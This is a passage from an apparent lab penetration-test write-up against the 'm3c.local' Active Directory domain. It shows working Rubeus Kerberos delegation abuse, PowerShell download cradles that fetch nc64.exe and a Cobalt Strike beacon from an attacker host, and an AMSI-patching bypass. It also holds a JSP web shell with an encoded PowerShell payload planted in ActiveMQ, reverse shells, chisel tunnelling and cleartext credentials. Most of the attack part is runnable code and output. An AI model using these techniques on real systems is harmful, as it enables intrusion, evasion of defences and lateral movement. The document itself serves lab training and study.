2cdObubHOJQtcXiMxZF7G9YReg/XzGybX4hkindZyS/9jkff4BiIaMk/e7L66ASIT4EeaIiSwS9tn
fCiJxBb59Arn7WYIH+srTRSCYbssbSiCghUW15km5fo4KnVNO6UIWDxdk0JZ+z5JnkL6TGo0++bLX
dOAyPXDWoPmCbLA3jyFebHN98jzzPZgotC7vFpTv8h5jJ5zNeIxcN7PHr+qMRbBISMxxB6mkHFB1g
8yubytnDET6Wx4LUm3OIzqRaOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgE
SoSIEID46bIOxprG+RsD6AyYyOB2Izk7AINDtf+FOAXDBbdlioQsbCU0zQy5MT0NBTKIUMBKgAwIB
AaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyMDA0MjIwOTEwNDFaphEYDzIwMjAwNDIyMTkwM
DAxWqcRGA8yMDIwMDQyOTA5MDAwMVqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0Gw
lNM0MuTE9DQUw= /impersonateuser:svc_apache /domain:m3c.local
/msdsspn:time/M3WEBAW.M3C.LOCAL /dc:M3DC.M3C.LOCAL /ptt

This will output:

1   ______       _                      
2 (_____ \     | |                    
3   _____) )_   _| |__ _____ _   _ ___
4 | __ /| | | | _ \| ___ | | | |/___)
5 | | \ \| |_| | |_) ) ____| |_| |___ |
6 |_|   |_|____/|____/|_____)____/(___/
7 v1.4.2
8 [*] Action: S4U
9 [*] Using domain controller: M3DC.M3C.LOCAL (10.9.20.10)
10 [*] Building S4U2self request for: 'svc_sql@M3C.LOCAL'
11 [*] Sending S4U2self request
12 [+] S4U2self success!
13 [*] Got a TGS for 'svc_apache@M3C.LOCAL' to 'svc_sql@M3C.LOCAL'
14 [*] base64(ticket.kirbi):
15    
doIFLDCCBSigAwIBBaEDAgEWooIEODCCBDRhggQwMIIELKADAgEFoQsbCU0zQy5MT0NBTKIUMBKg
AwIB
16    
AaELMAkbB3N2Y19zcWyjggQAMIID/KADAgESoQMCAQKiggPuBIID6koQuPX1SJCtrSU3BmBz1oD8
LJbY
17    
ADXMJ7bX5ds67yVeSpw9L8GcY5xhkyeDdz41iZ5JOKDApeDyny5VJRK/2zXI+EUHk0hKy3ZUAqoB
/t0x
18    
Nkcx3mTQewbRtfwtiUJputC3f7wMqH+ZTlhWWR0RPbqqKpLY9XI8KitpPpGSQBbLJ8YK7o9ect39
hHhx
19    
fhPQIp341XeAjtjEqLWfuVv9oJvUaH7en33rOBes+12tVipcnkufIET6RXxKzytUvNR7xkjxeLpd
2Dmh
20    
+QUXVfoCHvZhSTm9Ei1HCx86c7eYYI9GdsgAB+F2GaUESkZS9410Cd1fJ4zF28FWH6DwHErih46j
Oa58
21    
GNeO81txMFZqMsFte3USr7pC1Xh8zPsG4mUu2IwXxMdwtUPv4HCvMP1BtJuHY3+HUtunR10tTJH6
B0Ly
22    
zereeeAKDAvjE9zwserIcH31gPxU0QZR09BpNfJ1i+L2DVrGzWDd2vZwkE1fv5ttmov+4tzuPpZK
P7g7
23    
1jubTSn9iTqWJ8dhm2CdFy7x0UtIssr9u6phBXJVrTnK2d3iQ7EUhWKaAaGodHV2uQXXTjlWMNId
uFvb
24    
pkH4QeF7FtGFh0Q0Kv7q38UAsX3thYwMQFfscsu6rbeWNJCdrZgv9Xk6SzRboCWkRfYF6v+8cjUj
oDaA
25    
2NZ9V6juhTyku4V4T7oZxDsIUYdrMNnHmKX9TQrrQYCsreCyg09PR7Jljeh0/O0gbwX2Ank4Q+gb
RuzV
26    
6zopNXlQH9by6zaO7lzYNx30+IjVc4KyFFw9Tvee3OH+CyTzyLlqePyPadjB/dKKUXFAfX+P7yVQ
JDuE
27    
Ld+knlY9d382uZyVqbRcgXZ8Isly+R3RI6vynnBC3yU2far6m+oj8CFKO9PXxymC3wrW3NFWbIcg
dLHk
28    
xKrZ4mrgNTi21ZM0QQrqaLj8XkfHqZ5ZKoFHQSd3nbqilaterqwciZk10tfD/2akE9KKH1BoAZ66
UJza
29    
wQaQDY3qC1X1Na91RhGI7vULSdg/mQy11MepFseahe22Jo67aYG1luYWn9KGH0LS8WQfjAR2+C6G
Z7y/
30    
+Hx++pDwQLyV4mS3B3igSIylS2Ar/+Yi4j5YDIC/ea1NGoGr1awnKi8U6bH/SlyPv4GMBjJ/rGDX
waZk
31    
An7LIVNw5jvsHwm8oM9HLKgHW2yl9Wtg36avDEo3J+ntDWykdnu1auSzTiNzaOyvHao4nO8rwb2a
DWOY
32    
iSkzcZfEmc434S/Emj8fTvnrSr4b6fuk1hM6+VKAwv+60q6+HxHHE6iqaYaZOg0bz3QUprzm9bUH
QE47
33    
/+AUG35Jf9SWRO6UeDsfXz2PHzYJeKOB3zCB3KADAgEAooHUBIHRfYHOMIHLoIHIMIHFMIHCoCsw
KaAD
34    
AgESoSIEIPCRRQ4F6onOIvmEqV/zB6whCFZALmWTh6Q1y/EBvLNkoQsbCU0zQy5MT0NBTKIhMB+g
AwIB
35    
CqEYMBYbFHN2Y19hcGFjaGVATTNDLkxPQ0FMowcDBQBgoQAApREYDzIwMjAwNDE3MTE1NDM5WqYR
GA8y
36    
MDIwMDQxNzIxMDAwMFqnERgPMjAyMDA0MjQxMTAwMDBaqAsbCU0zQy5MT0NBTKkUMBKgAwIBAaEL
MAkb
37     B3N2Y19zcWw=
38 [*] Impersonating user 'svc_apache' to target SPN 'time/M3WEBAW.M3C.LOCAL'
39 [*] Using domain controller: M3DC.M3C.LOCAL (10.9.20.10)
40 [*] Building S4U2proxy request for service: 'time/M3WEBAW.M3C.LOCAL'
41 [*] Sending S4U2proxy request
42 [+] S4U2proxy success!
43 [*] base64(ticket.kirbi) for SPN 'time/M3WEBAW.M3C.LOCAL':
44    
doIF1DCCBdCgAwIBBaEDAgEWooIE4DCCBNxhggTYMIIE1KADAgEFoQsbCU0zQy5MT0NBTKIkMCKg
AwIB
45    
AqEbMBkbBHRpbWUbEU0zV0VCQVcuTTNDLkxPQ0FMo4IEmDCCBJSgAwIBEqEDAgEBooIEhgSCBIJQ
07Ty
46    
S6aFVSp3FMJAuC3KkADGkY6S3r9H5xDuqTLXaK8IAagYVZCxijIzgH+NAbrOEBGxQvhFkVTnG7Db
xXPm
47    
8eB3In1uwrHV9kqi8A83kLklZHAXoXy98X7gikT7ox6Tc+XC4rvsNZH26VN8iwjQ9SNteLrxAna0
ZNK3
48    
ASnzKSXbCXlvf17QBeXnU/QQ6wOqvOubFrAIsD6uX0+cFXEUL7fxwcPuaJLqM+1WdAs1Ht8JL1yT
5OlO
49    
f/fpnxSIotMAQmu27GtLFMRJuB50T4iNsjjm2EmUEDnah7NM7l8Q7tDV29jozg1CF3CoCULcyfws
/Tnn
50    
BIjMYcJMCyFDUYvs8cvouzFPJYo0LE21FN2tumiyRnU3eO6EeAkaABqDDjS9oTH6I4agtnmrB1t9
/NoV
51    
MEcJErgJLSRrpWI9nx8Ykara9tUrLnLswvDJdLczbSNDOddR0BmIjWeLab+e2pGNYdWJFlajdk74
8bSa
52    
KQYYUzU7Kjr5xXu2SWv3vszV8nS2UPrZqOcVHkwIlMLrJlodgZTn0MLc3/5zZbKcD+o0jkhCOp6b
D01o
53    
A7uJ6xOKKd66qFYqdLU9n01FkRZiFnYWGApLLsRHi95B3Tl43YuT3dYfb9wQJJxtbFTBl+AMkM3z
TsvF
54    
2gxuv9H2sJi8uUTMvUI+AwWlouZNn5YTVEBcmwpztV21RfYUYYPrzZqBuZ0Y6gW/CodYdGqRx4sx
O/S6
55    
Y5jsX440p7FCneMHBQEetBkPlNpO5tRYJw510QStGcczlm2jfezYr6AA6PgqMHOuZ9WwyUcQzWL8
6CH5
56    
ltVNo0zNc3RyesmfZ7Oo+6J3sGjYjgnuajBZdE6PkiKDNQv8yeFeqtvWj/jB0E7iqYiSD2FGI+O9
Kc4J
57    
A5FHLgqRZqCSNtwe4m8/CzAQaV+b4vR7vclWXugDL4vPMgiRP+0yyUbHGk25OKM6ELk02OQ897ZS
qDBO
58    
38wkvSk482B/BDC/Gl03UTB0jx6LOeQCtUW4kPB3ZHoRQ5gBWYNSUOENz/I34GTDhZ8K7DahXAuB
nnr2
59    
bpTEvIaXO7DGvYHsMg7eXb1PZpk3UC7w8fpB5fpzFC7LyiE+FULQ2gbfvnZ/c/qvAk7Xe+JCI7xm
BvAl
60    
l0IkBWXjD2hZv+9q06JSwgPSDZG+jeEOF4CUwFt96MgL/wYSkoOPYYwuH3PwXdLbzELqGHM7mI/H
Ya7Q
61    
nOZsPvzOu8NqSHEY5RVCMNxSxBf7PrzZwPPDeCNV7E5hZmED6y9jdbs7qaOSeh19HqS7QbHwUxQY
Nl0r
62    
BT5SJUF+zBa2Nxj+0IzkMCUgS1Fe634DEvc/HEtHoZizwKFnhJJbkBqEVFG85AEoA8KwZ0Uyv32c
vU5o
63    
Hq2fPeecrptVys8r/qCbaDv3OSbspSf9HGkfvyaCtvLhT2kupxj/vXprhI8RSYjQDHXDOsSh/D8t
XH/q
64    
cmjbkStlXIo5D2bdAkuxQXdgz7Km/z9E97I5cIiEX7LcH0ma9lhd1n+j6zCCafHWBxYv9X1XcmYe
7Kz0
65    
QF7ADM8zRLEOG6OB3zCB3KADAgEAooHUBIHRfYHOMIHLoIHIMIHFMIHCoBswGaADAgERoRIEEBSl
/n9P
66    
Krba6c6gRIOlFLqhCxsJTTNDLkxPQ0FMoiEwH6ADAgEKoRgwFhsUc3ZjX2FwYWNoZUBNM0MuTE9D
QUyj
67    
BwMFAGChAAClERgPMjAyMDA0MTcxMTU0MzlaphEYDzIwMjAwNDE3MjEwMDAwWqcRGA8yMDIwMDQy
NDEx
68    
MDAwMFqoCxsJTTNDLkxPQ0FMqSQwIqADAgECoRswGRsEdGltZRsRTTNXRUJBVy5NM0MuTE9DQUw=
69 [*] Action: Import Ticket
70 [+] Ticket successfully imported!

And in the klist :


1 PS C:\users\svc_sql> klist
2 Current LogonId is 0:0x33f73e
3 Cached Tickets: (1)
4 #0>     Client: svc_apache @ M3C.LOCAL
5       Server: time/M3WEBAW.M3C.LOCAL @ M3C.LOCAL
6       KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
7       Ticket Flags 0x60a10000 -> forwardable forwarded renewable
pre_authent name_canonicalize
8       Start Time: 4/17/2020 7:54:39 (local)
9       End Time:   4/17/2020 17:00:00 (local)
10       Renew Time: 4/24/2020 7:00:00 (local)
11       Session Key Type: AES-128-CTS-HMAC-SHA1-96
12       Cache Flags: 0
13       Kdc Called:

However, I was unable to get access with this.

Attempt 2

A quote from @Thalpius:


Ok, since we can impersonate any user for that machine, we can request
what we want. The trick is that the service (for the TGS) is not validated. So
you can request a TGS for ANY user for ANY service for that machine.

Which was followed up by:


Since the account has a session to m3webaw I was expecting a PowerShell
connection using WSMan (cred-ssp)

This is a really good write-up of getting two kinds of shells, WinRM and PSExec : h
ttps://horizon.guidepointsecurity.com/tutorials/delegating-like-a-boss-abusing-kerbe
ros-delegation-in-active-directory/#constrained

Looking in Web Servers reveals that the m3webaw is in this group.


This group has several applied GPOs, one of which is SERVER WINRM

MGMT@M3C.LOCAL :

This GPO is stored here:

1 \\m3c.local\sysvol\m3c.local\Policies\{11D18024-2D64-4CE7-8479-
B41B164B7DAB}\machine\preferences\groups\groups.xml

And it contains:
1 <?xml version="1.0" encoding="utf-8"?>
2 <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><Group clsid="
{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Remote Management Users"
image="2" changed="2020-01-06 23:31:51" uid="{AC910209-4C59-4F9C-B3B6-
8071D24CDB7D}"><Properties action="U" newName="" description=""
deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid=""
groupName="Remote Management Users"><Members><Member name="M3C\Server Admins"
action="ADD" sid="S-1-5-21-340507432-2615605230-720798708-1312"/></Members>
</Properties></Group>
3 </Groups>

In this GPO, it shows that M3C\Server Admins are connected to this GPO.

I then ran a PowerView command to to get these users:

1 get-domaingroup "server admins" | select -expandproperty member

Which resulted in:

1 CN=Terri Benson,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local


2 CN=Amanda Green,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
3 CN=Silvia Harrison,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
4 CN=Justin Doty,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
5 CN=Ronald Shepard,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
6 CN=Elda Martinez,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
7 CN=David Gaines,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
8 CN=Lorraine McDonald,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
9 CN=Charlene Butcher,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
10 CN=Micheal Crosley,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local

There are a lot of users here. So, instead of running through them one by one, I
just grabbed the login counts:

1 get-domainuser | select cn,logoncount

This resulted in a lot of data, but notably this one:

1 Micheal Crosley             6
As Attempt 1 showed, I can impersonate any user. And, now I know WHO to
impersonate.

First, I need a ticket:

1 .\Rubeus.exe tgtdeleg

This can all be put together, like so:

1 .\Rubeus.exe s4u
/ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBT
KIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgECooIDsQSCA6
1k21A8fH80Xsbz8B77fFgJwlnWuCNiWISX0h7zcOr9/9TiF1SQ7BIC6Bx8ri4iW3aWVDSRVx21ROW
N8iIZM5XoLMIS+pu3+vHw3/7EvNhWkKSDrRNnWqECmPoGfRmZmPkGE0067tVGRCW7bHlKfQI96OF+
DPq368ucilcKfeHcJKR8GWx6Xz6wVntovEnuYhmO4v54O4F1bEawScgarwGzH+ZmBhW9pqMyPYqo1
jW4GaOTwjvYZPgdoueQzvluLZr9SzQ1YlpQNQk1ukCPc6KOTQe1fTZuufC3iBsJztthhMGFkz2/WM
uk0k4WScfzyK4hfYfZFCXeik2lhRJKgJPiuW/X2kCclmSvKAmStucTUimg69SZkQk4TTnA21zUIWM
VHGs0JedzbRNTC9dd4C5cbaw7N0D3240eYXdC6fJnOInSR5jkl+eS5bvD6NjxFGPdYWH4NwZROHgT
qOe+CChvfiz5e+pOOJygpkfy7JnyRjRNI2K8MO0uzaMn0lAgY65Q5XxdFzUEfUpEwDtzXKaz0gPlI
lKYsoJ5upBUwggy87+pHC2rZVXaAj49LGA7VKiIm88eTtHTd0kmwTUP07uPwd4Xw/jndz4RaFjN5l
pCF2Upl9YEBUHE6Zuwh+FFxCXV0f90sESQxwoKmRqmDMq/06PK7/Nyw76EDPDXc/9DvQZl+WoeymC
ejC2uB+Kpt3HXAyu4SBgS7sNIHJQ7CgeTN3N652v969ApKQvHwngnvk/twFSYgPvjx6tpUYLxikpc
EFuSrF+N1wAXYV2mt0pOnmEyvWqUqYt8Yp1GraNZxs9QQuEe31l/WbamUUHQM0aX/q+MOOapSEwsY
XBJVaKVKFM8bRADjBiuIVU0wb0+A2A6r72HpywgOw8OIOKCs0sHfwL8JJObjMZ/nh8R6KABIK/j4E
v3LWJ3jzDyy4jHq39ILtH18ZPGFh280MTWOY7A3+MC77l4Lew5HaO4DTcZgxTzw1M8VEscebJ0svB
GsJBpEDvFWaPbvs1Du6FltCFLrk2r+JjYIv3r0MWaMPB1YknqQwbG9A4+j83VyvF2gjQn4p0c/a1B
xLg500lZJAdbKrPOfRrQtdOrRYQZOsWTN68v3MXYiB8rXYcG9Ul3WTwReFvrAsbQUxG2uZr/6Tbx7
v9/8NBbm7eHMaTgr5lGjeYIG77X01lZ67rjVazUdwAcjG1F9cSLm0FETmVKEr55Odri1AT+W9kEdL
skWrT83jsJM1lAAwJ2aEGquqOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgE
SoSIEIEQ8TkiPJZkbvT4GZy7N8T2vpRQBYUawlmAuR1k8aK1goQsbCU0zQy5MT0NBTKIUMBKgAwIB
AaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyMDA1MDIxODMzMjNaphEYDzIwMjAwNTAzMDQzM
DAyWqcRGA8yMDIwMDUwOTE4MzAwMlqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0Gw
lNM0MuTE9DQUw=  /impersonateuser:Micheal.Crosley /domain:m3c.local
/msdsspn:"time/m3webaw" /altservice:http /ptt

The ticket in klist :


1 Current LogonId is 0:0x49db89
2 Cached Tickets: (1)
3 #0>     Client: Micheal.Crosley @ M3C.LOCAL
4       Server: http/m3webaw @ M3C.LOCAL
5       KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
6       Ticket Flags 0x60a10000 -> forwardable forwarded renewable
pre_authent name_canonicalize
7       Start Time: 4/18/2020 9:12:07 (local)
8       End Time:   4/18/2020 19:00:01 (local)
9       Renew Time: 4/25/2020 9:00:01 (local)
10       Session Key Type: AES-128-CTS-HMAC-SHA1-96
11       Cache Flags: 0
12       Kdc Called:

Command Execution

First off, create the session:

1 $session = new-pssession -computername m3webaw

This will give:

1 Id Name           ComputerName   ComputerType   State        


ConfigurationName     Availability
2 -- ----           ------------   ------------   -----         -----------
------     ------------
3 1 Session1       m3webaw         RemoteMachine   Opened      
Microsoft.PowerShell     Available

So the session is active, now for executing commands:

1 invoke-command $session {whoami}

Which responds with:

1 m3webaw

Now for a shell, I'll upload nc64.exe to return a shell:


1 invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri
'http://10.10.14.10/nc64.exe' -OutFile 'c:\\Windows\\Temp\\nc64.exe'}
2 invoke-command $session {cd 'c:\\Windows\\Temp'; .\nc64.exe 10.10.14.10 80}

And a shell:

1 listening on [any] 80 ...


2 connect to [10.10.14.9] from (UNKNOWN) [10.10.110.250] 12833
3 Microsoft Windows [Version 10.0.17763.1098]                                  
           
4 (c) 2018 Microsoft Corporation. All rights reserved.                        
              C:\Users\Micheal.Crosley\Documents>whoami
5 m3c\micheal.crosley
6 C:\Users\Micheal.Crosley\Documents>hostname
7 m3webaw

m3webaw

Running WinPeas doesn't reveal a great deal:

1 [+] Interesting Services -non Microsoft-(T1007)


2 [?] Check if you can overwrite some service binary or perform a DLL
hijacking, also check for unquoted paths
https://book.hacktricks.xyz/windows/windows-local-privilege-
escalation#services
3 [X] Exception: Access denied
4 ActiveMQ(ActiveMQ)[C:\ActiveMQ\bin\win64\wrapper.exe -s
C:\ActiveMQ\bin\win64\wrapper.conf
set.ACTIVEMQ_HOME=C:\ActiveMQ\bin\win64\..\..
set.ACTIVEMQ_BASE=C:\ActiveMQ\bin\win64\..\..] - Autoload - No quotes and
Space detected
5 Possible DLL Hijacking in binary folder: C:\ActiveMQ\bin\win64 (Users
[AppendData/CreateDirectories WriteData/CreateFiles])
6 ActiveMQ Broker

Active MQ

On the root of C:\ , there was a ActiveMQ directory:

1 Volume in drive C is Windows 2016


2 Volume Serial Number is BCBE-1AF0
3
4 Directory of C:\
5
6 01/24/2020 01:12 AM   <DIR>         ActiveMQ
7 09/15/2018 03:12 AM   <DIR>         PerfLogs
8 01/24/2020 01:12 AM   <DIR>         Program Files
9 09/15/2018 03:21 AM   <DIR>         Program Files (x86)
10 01/24/2020 04:04 AM                 0 Recovery.txt
11 04/18/2020 12:43 PM   <DIR>         Temp
12 02/12/2020 03:17 AM   <DIR>         Users
13 01/24/2020 05:22 AM   <DIR>         Windows
14               1 File(s)             0 bytes
15               7 Dir(s) 72,615,645,184 bytes free

Inside the activemq.xml file was this snippet:

1 <transportConnectors>
2    <!-- DOS protection, limit concurrent connections to 1000 and frame size
to 100MB -->
3    <transportConnector name="openwire" uri="tcp://0.0.0.0:61616?
maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
4    <transportConnector name="amqp" uri="amqp://0.0.0.0:5672?
maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
5    <transportConnector name="stomp" uri="stomp://0.0.0.0:61613?
maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
6    <transportConnector name="mqtt" uri="mqtt://0.0.0.0:1883?
maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
7    <transportConnector name="ws" uri="ws://0.0.0.0:61614?
maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>
8 </transportConnectors>

Checking against netstat -an , showed the following listening ports:

1 TCP   0.0.0.0:135           0.0.0.0:0             LISTENING


2 TCP   0.0.0.0:445           0.0.0.0:0             LISTENING
3 TCP   0.0.0.0:1883           0.0.0.0:0             LISTENING
4 TCP   0.0.0.0:3389           0.0.0.0:0             LISTENING
5 TCP   0.0.0.0:5672           0.0.0.0:0             LISTENING
6 TCP   0.0.0.0:5985           0.0.0.0:0             LISTENING
7 TCP   0.0.0.0:8161           0.0.0.0:0             LISTENING
8 TCP   0.0.0.0:47001         0.0.0.0:0             LISTENING
9 TCP   0.0.0.0:49664         0.0.0.0:0             LISTENING
10 TCP   0.0.0.0:49665         0.0.0.0:0             LISTENING
11 TCP   0.0.0.0:49666         0.0.0.0:0             LISTENING
12 TCP   0.0.0.0:49681         0.0.0.0:0             LISTENING
13 TCP   0.0.0.0:49682         0.0.0.0:0             LISTENING
14 TCP   0.0.0.0:49683         0.0.0.0:0             LISTENING
15 TCP   0.0.0.0:49692         0.0.0.0:0             LISTENING
16 TCP   0.0.0.0:49693         0.0.0.0:0             LISTENING
17 TCP   0.0.0.0:61613         0.0.0.0:0             LISTENING
18 TCP   0.0.0.0:61614         0.0.0.0:0             LISTENING
19 TCP   0.0.0.0:61616         0.0.0.0:0             LISTENING
20 TCP   0.0.0.0:63821         0.0.0.0:0             LISTENING
21 TCP   127.0.0.1:32000       0.0.0.0:0             LISTENING
22 TCP   127.0.0.1:32001       0.0.0.0:0             LISTENING

Digging further through the directory ,some credentials were found in


credentials.properties :

1 activemq.username=system
2 activemq.password=manager
3 guest.password=password

The URL for the app was found in the data directory:

1 2020-04-18 13:00:26,696 | INFO | ActiveMQ WebConsole available at


http://0.0.0.0:8161/ | org.apache.activemq.web.WebConsoleStarter |
WrapperSimpleAppMain

Various jsp files were then found in C:\ActiveMQ\webapps\admin :

1 Directory of C:\ActiveMQ\webapps\admin
2
3 04/18/2020 08:31 AM   <DIR>         .
4 04/18/2020 08:31 AM   <DIR>         ..
5 02/13/2015 11:54 AM             5,643 403.html
6 02/13/2015 11:54 AM             5,623 404.html
7 02/13/2015 11:54 AM             5,762 500.html
8 02/13/2015 11:54 AM             4,124 browse.jsp
9 02/13/2015 11:54 AM             3,918 connection.jsp
10 02/13/2015 11:54 AM             2,677 connections.jsp
11 01/24/2020 01:12 AM   <DIR>         decorators
12 04/18/2020 08:31 AM               414 g0dmode.jsp
13 02/13/2015 11:54 AM             2,311 graph.jsp
14 01/24/2020 01:12 AM   <DIR>         images
15 02/13/2015 11:54 AM             2,451 index.jsp
16 01/24/2020 01:12 AM   <DIR>         js
17 02/13/2015 11:54 AM             4,373 login.html
18 02/13/2015 11:54 AM           10,453 message.jsp
19 01/24/2020 01:12 AM   <DIR>         META-INF
20 02/13/2015 11:54 AM             1,687 network.jsp
21 02/13/2015 11:54 AM             2,663 queueConsumers.jsp
22 02/13/2015 11:54 AM             2,712 queueGraph.jsp
23 02/13/2015 11:54 AM             2,173 queueProducers.jsp
24 02/13/2015 11:54 AM             3,712 queues.jsp
25 02/13/2015 11:54 AM             2,141 scheduled.jsp
26 02/13/2015 11:54 AM             4,280 send.jsp
27 02/12/2020 07:42 PM             1,497 shell.jsp
28 02/13/2015 11:54 AM             5,377 slave.jsp
29 01/24/2020 01:12 AM   <DIR>         styles
30 02/13/2015 11:54 AM             6,333 subscribers.jsp
31 01/24/2020 01:12 AM   <DIR>         test
32 02/13/2015 11:54 AM             2,173 topicProducers.jsp
33 02/13/2015 11:54 AM             2,988 topics.jsp
34 02/13/2015 11:54 AM             2,464 topicSubscribers.jsp
35 01/24/2020 01:12 AM   <DIR>         WEB-INF
36 01/24/2020 01:12 AM   <DIR>         xml

Running curl against http://10.9.20.12:8161/ and type against index.html ,


shows theyre the same:

1 <div class="design_attribution">
2   <a href="http://hiramchirino.com/">Graphic Design By Hiram</a>
3 </div>
4 </body>
5 </html>

Finally, I found C:\activemq\conf\jetty-realm.properties :

1 admin: 3f18DV^t!svBV4ntcrLRTWi2XaMCDK, admin


2 #Cyb3rN3t1C5{CR3d$_!n_fil3s}

I know that the service is listening and has an admin directory, so its probably
worth exfiltrating the service.

Based on the flag being here, I think I need to get a shell with these creds. I tried
identifying the user who owned the process like this.

Get the PID:

1 netstat -ano
Which spits the PID out at 4268 :

1 TCP    0.0.0.0:8161           0.0.0.0:0              LISTENING       4268

And then this to get the owners:

1 Get-Process -pid 4268 | select processname,Id,@{l="Owner";e=


{$owners[$_.id.tostring()]}}

The reveals, nothing:

1 ProcessName   Id Owner
2 -----------   -- -----
3 java        4268

Shell

At this point, I had to use Cobalt Strike . It was configured to operate from 443

and the netcat shell for this host is on 80 . I started by hosting the following:

1 $Win32 = @"
2 using System;
3 using System.Runtime.InteropServices;
4
5 public class Win32 {
6
7   [DllImport("kernel32")]
8   public static extern IntPtr GetProcAddress(IntPtr hModule, string
procName);
9
10   [DllImport("kernel32")]
11   public static extern IntPtr LoadLibrary(string name);
12
13   [DllImport("kernel32")]
14   public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr
dwSize, uint flNewProtect, out uint lpflOldProtect);
15
16 }
17 "@
18
19 Add-Type $Win32
20
21 $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
22 $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
23 $p = 0
24 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
25 [Byte[]] $payload = 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3
26 [System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $Address, 6)
27
28 IEX((New-Object
System.Net.WebClient).DownloadString('http://10.10.14.9:443/a'))

The above bypasses AMSI and then calls another IEX to get a beacon. This can
be encoded like so:

1 [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes("IEX
((new-object
net.webclient).downloadstring('http://10.10.14.9:443/amsi.ps1'))"))

This will produce something like:

1 SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=

Which can be embedded into the jsp payload:

1 <%@ page import="java.io.*" %>


2 <%
3   try {
4      Process p =
Runtime.getRuntime().exec("C:\\Windows\\System32\\WindowsPowerShell\\V1.0\\po
wershell.exe -nop -encodedcommand
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=");
5   }
6   catch(IOException e) {
7      e.printStackTrace();
8   }
9 %>

Upload:
1 Invoke-WebRequest -Uri 'http://10.10.14.9:443/mez0.jsp' -OutFile
'c:\\ActiveMQ\\webapps\\admin\\mez0.jsp'

And its up:

1 -a----       4/22/2020   6:11 AM           1357 mez0.jsp

Exfiltrating ActiveMQ

First, get a Cobalt Strike Beacon:

1 powershell.exe -nop -encodedcommand


SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA
HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg
AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=

On Kali:

1 /pentest/inf/chisel/chisel_1.4.0_linux_amd64 server -p 80 --reverse

On m3webaw, get a shell from Cobalt Strike :

1 shell .\nc64.exe 10.10.14.9 80 -e


"C:\\Windows\\System32\\WindowsPowerShell\\V1.0\\powershell.exe"

And upload chisel , then:

1 .\chisel_1.4.0_windows_amd64.exe client 10.10.14.9:80 R:8161:127.0.0.1:8161

Now its connected:


1 2020/04/22 06:28:07 client: Connecting to ws://10.10.14.9:80
2 2020/04/22 06:28:07 client: Fingerprint
2b:ef:58:48:18:4c:b7:1c:2b:4b:ad:17:68:6d:20:7b
3 2020/04/22 06:28:07 client: Connected (Latency 19.9761ms)

I can now browse to ActiveMQ on http://127.0.0.1:8161/ with:

1 admin:3f18DV^t!svBV4ntcrLRTWi2XaMCDK

By browsing to http://127.0.0.1:8161/admin/mez0.jsp and triggered a beacon.


From there, I got a proper netcat shell:

1 shell .\nc64.exe 10.10.14.9 80 -e


"C:\\Windows\\System32\\WindowsPowerShell\\V1.0\\powershell.exe"

As this user had no path, I fixed it by doing this:

1 $Env:Path +=
"C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\
